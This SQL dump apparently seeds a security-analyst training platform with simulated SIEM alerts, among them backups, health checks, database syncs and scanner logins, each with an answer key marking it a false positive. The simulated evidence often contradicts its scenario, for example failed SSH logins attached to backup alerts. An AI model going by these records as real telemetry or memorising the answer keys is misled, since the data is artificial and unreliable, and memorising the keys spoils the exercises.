(1804, 'Authorized Administrative Backup Process Detected', 'low', 'Wazuh', 'A backup process executed by an IT administrator was detected. This is a regular operation for data protection.', 'Persistence', 'T1053', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"username\":\"backup_admin\",\"hostname\":\"BACKUP-SERVER-01\",\"command_line\":\"rsync -avz /data /backup\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data /backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled backup command executed by an authorized user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"persistence\",\"analysis_notes\":\"The detected process is a part of the scheduled backup routine and is not malicious.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1805, 'Benign System Health Check Activity', 'low', 'Elastic SIEM', 'Regular system health check scripts executed on multiple servers. These scripts are part of routine maintenance.', 'Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.20\",\"username\":\"health_check\",\"hostname\":\"MONITOR-01\",\"command_line\":\"python health_check.py\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used for health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python health_check.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine health check script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"This activity is part of regular system checks and does not indicate an attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1806, 'Misconfigured Legacy Application Detected', 'medium', 'Azure Sentinel', 'A legacy application generated unusual traffic patterns due to misconfiguration. No malicious activity detected.', 'Network Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"203.0.113.10\",\"hostname\":\"LEGACY-APP-01\",\"command_line\":\"curl http://203.0.113.10:8080/api/ping\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"External IP with no malicious reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The traffic was generated by a misconfigured legacy application and is not harmful.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1807, 'Scheduled Data Sync Detected', 'low', 'Splunk', 'A data synchronization task was detected between internal databases. This is part of regular data management operations.', 'Data Transfer', 'T1029', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:05:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.20\",\"username\":\"db_sync_user\",\"hostname\":\"DB-SYNC-01\",\"command_line\":\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used for data synchronization\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized database synchronization command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"This alert was generated by a scheduled data synchronization task and is not indicative of an attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1808, 'Routine IT Vulnerability Scanning Detected as Brute Force Attack', 'low', 'Wazuh', 'A series of failed login attempts were detected originating from an internal scanner IP. This activity was identified as part of a routine vulnerability scan.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin\",\"hostname\":\"internal-scanner\",\"failed_attempts\":20}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP used for routine vulnerability scans\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP belongs to an internal scanner used by IT for routine vulnerability assessments, making the alert a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:04:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:03:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:02:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:01:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1809, 'Authorized Administrative Backups Detected as Data Exfiltration', 'medium', 'Splunk', 'Data transfers to a backup server were flagged as potential data exfiltration. These transfers are part of scheduled administrative backups.', 'Data Exfiltration', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"10.0.0.5\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP is part of authorized backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Authorized backup server destination\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The activity is consistent with routine backup operations, hence categorized as a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1810, 'Benign System Health Check Detected as Malicious Execution', 'low', 'Elastic SIEM', 'A system health check process was mistakenly flagged as malicious due to the execution of a common diagnostic tool.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"\",\"username\":\"sysadmin\",\"hostname\":\"diagnostic-tool\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\diagnostic.exe\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\System32\\\\diagnostic.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized system health diagnostic tool\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"This process execution is part of a routine system health check and is not malicious.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 